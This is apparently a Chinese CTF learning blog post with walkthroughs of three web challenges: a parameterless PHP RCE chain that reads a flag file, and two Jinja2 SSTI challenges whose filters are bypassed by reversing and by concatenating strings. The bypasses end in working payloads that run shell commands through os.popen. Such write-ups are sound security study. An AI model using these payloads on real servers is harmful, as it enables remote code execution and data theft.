4.3学习总结

[HNCTF 2022 WEEK2]Canyource(无参数)

通过这题又接触了一种无参数RCE的方法,前面学习的getallheaders只有在apache环境下才能使用,具有一定的局限性

这里是利用php函数来构造读取flag的方法

    localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
    pos() – 返回数组中的当前单元, 默认取第一个值
    next – 将内部指针指向数组下一个元素并输出
    scandir() – 扫描目录
    array_reverse() – 翻转数组
    array_flip() - 键名与数组值对调
    readfile()
    array_rand() - 随机读取键名
    var_dump() - 输出数组,可以用print_r替代
    file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替
    get_defined_vars() -  返回由所有已定义变量所组成的数组
    end() - 读取数组最后一个元素
    current() - 读取数组的第一个元

 打开环境,看见';'就能意识到是无参数了

注意这里不是apache环境,所以getallheaders没用,当时我就是尝试了很久都没有成功

先查看返回包含信息的数组

code=var_dump(localeconv())

 返回数组中的单元,这里因为localeconv返回的第一个是".",所以默认的返回第一个单元就是"."

code=var_dump(pos(localeconv()))

返回单元后,扫描单元下目录,利用scandir函数

code=var_dump(scandir(pos(localeconv())))

看见了flag,要读取,high和show都被过滤了,所以可以用file_get_contents(),但是flag没有在第一个数组,也没有在第二个数组(如果在第二个数组就可以用next使得内部指针指向下一个单位来读取)

可以翻转后再进行调整

code=var_dump(array_reverse(scandir(pos(localeconv()))))

此时的flag就在第二个位置,用next调整指针位置来读取

code=var_dump(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))))

这题主要是无参数RCE的另外一种构造

[HZNUCTF 2023 preliminary]flask(倒序排序)

打开环境,看见name在做了一些题的情况下应该是能想到SSTI的,开始测试注入的模板

在测试的时候发现对字符串进行了倒序排序,在尝试了6{*comment*}6之后,在尝试{{7*7}}时报错了

在尝试{{7*7}}时报错了(我以为是自己判断的问题,没去想过滤的问题,看了wp才知道是存在过滤,对{{进行了过滤)

既然存在倒序排序,那么就倒序排序payload后注入,负负得正,确实是jinja2模板类型

利用脚本对payload进行倒序排序,如果想尝试手工注入也是可以的

import base64

strA = input()
strB = strA[::-1]

print(strB)

 

{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls /").read()')}}

看见flag了,但是cat出来不是flag

又去查lwp才知道flag在env(环境变量)中,这个环境变量真不容易想到,记得有一次的ctf比赛就有一题flag藏在env里面,但是那题给来语句的暗示,这里我没明白怎么猜到的env

[NCTF 2018]flask真香(字符串拼接)

打开环境,可以直接传参来进行测试

这说明了是SSTI中jinja2的模板类型注入,按照正常来说,应该进行class来返回对象的类

{{""['__class__']}}

没有回显,fuzz一下,不止SQL可以fuzz,SSTI也可以

过滤了一些命令吧,那么绕过就是首要问题, 我以为是要用新的命令来代替,没想到是进行拼接

%7B%7B""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()%7D%7D

os位置269

{{""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()[269]['__init__']['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('ls /').read()")}}

看见flag,tac/flag

%7B%7B""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()[269]['__init__']['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('tac%20/Th1s_is__F1114g').read()")%7D%7D

相关推荐

  1. 【软件测试】43个功能测试点总结

    2024-04-04 10:48:02       36 阅读
  2. 学习总结

    2024-04-04 10:48:02       45 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-04 10:48:02       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-04 10:48:02       101 阅读
  3. 在Django里面运行非项目文件

    2024-04-04 10:48:02       82 阅读
  4. Python语言-面向对象

    2024-04-04 10:48:02       91 阅读

热门阅读

  1. 路由的hash和history模式的区别

    2024-04-04 10:48:02       35 阅读
  2. nvm 安装多个版本的Node npm

    2024-04-04 10:48:02       33 阅读
  3. 如何设计一个类似Dubbo的RPC框架

    2024-04-04 10:48:02       31 阅读
  4. 外汇MT4交易心得分享:如何规避常见交易陷阱?

    2024-04-04 10:48:02       34 阅读
  5. Docker客户端命令

    2024-04-04 10:48:02       41 阅读
  6. openharmony launcher 调研笔记 01

    2024-04-04 10:48:02       38 阅读
  7. Tomcat 启动闪退问题解决方法

    2024-04-04 10:48:02       34 阅读